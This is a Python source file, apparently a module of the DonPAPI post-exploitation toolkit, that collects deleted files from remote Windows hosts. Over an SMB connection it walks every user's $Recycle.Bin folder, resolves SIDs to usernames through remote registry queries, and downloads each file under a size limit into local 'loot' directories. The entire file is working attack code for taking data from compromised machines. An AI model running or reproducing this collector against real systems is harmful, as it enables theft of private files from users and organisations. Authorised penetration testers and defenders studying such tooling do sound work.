84 lines
4.2 KiB
Python
84 lines
4.2 KiB
Python
import os
|
|
import ntpath
|
|
from typing import Any
|
|
from dploot.lib.target import Target
|
|
from dploot.lib.smb import DPLootSMBConnection
|
|
from donpapi.core import DonPAPICore
|
|
from donpapi.lib.logger import DonPAPIAdapter
|
|
from donpapi.lib.utils import dump_file_to_loot_directories
|
|
|
|
|
|
class RecycleBin:
|
|
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore, false_positive: list, max_filesize: int) -> None:
|
|
self.tag = self.__class__.__name__
|
|
self.target = target
|
|
self.conn = conn
|
|
self.masterkeys = masterkeys
|
|
self.options = options
|
|
self.logger = logger
|
|
self.context = context
|
|
self.found = 0
|
|
self.false_positive = false_positive
|
|
self.max_filesize = max_filesize
|
|
|
|
def run(self) -> None:
|
|
self.logger.display("Gathering recycle bins")
|
|
for sid_directory in self.conn.remote_list_dir(self.context.share, "\\$Recycle.Bin"):
|
|
sid = sid_directory.get_longname()
|
|
if sid_directory.get_longname() not in self.false_positive:
|
|
username = None
|
|
# Translates $Recycle.Bin SID's to usernames using remote registry keys
|
|
if self.context.remoteops_allowed:
|
|
username = self.translate_sid_to_username(sid)
|
|
self.dig_files(
|
|
directory_path = f"\\$Recycle.Bin\\{sid}",
|
|
sid = sid,
|
|
username = username,
|
|
recurse_level = 0,
|
|
recurse_max = 10,
|
|
)
|
|
if self.found > 0:
|
|
self.logger.secret(f"Found {self.found} files in recycle bin's", self.tag)
|
|
|
|
def translate_sid_to_username(self, sid) -> str:
|
|
username = None
|
|
path = f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{sid}"
|
|
key = "ProfileImagePath\x00"
|
|
try:
|
|
username = self.context.reg_query_value(path, key)[-1].split("\\")[-1].rstrip("\x00")
|
|
except Exception as e:
|
|
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
|
self.logger.error(f"Error while RegQueryValue {path}\\{key}: {e}")
|
|
return username
|
|
|
|
def dig_files(self, directory_path, sid, username = None, recurse_level = 0, recurse_max = 10) -> None:
|
|
directory_list = self.conn.remote_list_dir(self.context.share, directory_path)
|
|
if directory_list is not None:
|
|
for item in directory_list:
|
|
if item.get_longname() not in self.false_positive:
|
|
new_path = ntpath.join(directory_path, item.get_longname())
|
|
if item.is_directory() > 0:
|
|
if recurse_level < recurse_max:
|
|
self.dig_files(
|
|
directory_path = new_path,
|
|
sid = sid,
|
|
username = username ,
|
|
recurse_level = recurse_level+1,
|
|
recurse_max = recurse_max
|
|
)
|
|
else:
|
|
if item.get_filesize() < self.max_filesize:
|
|
file_content = self.conn.readFile(self.context.share, new_path)
|
|
if file_content is not None:
|
|
self.found += 1
|
|
|
|
absolute_local_filepath = os.path.join(self.context.target_output_dir, *(new_path.split('\\')))
|
|
if username:
|
|
absolute_local_filepath = absolute_local_filepath.replace(sid, username)
|
|
dump_file_to_loot_directories(absolute_local_filepath, file_content)
|
|
|
|
collector_dir_local_filepath = os.path.join(self.context.global_output_dir, self.tag, new_path.replace("\\", "_"))
|
|
if username:
|
|
absolute_local_filepath = absolute_local_filepath.replace(sid, username)
|
|
dump_file_to_loot_directories(collector_dir_local_filepath, file_content)
|
|
|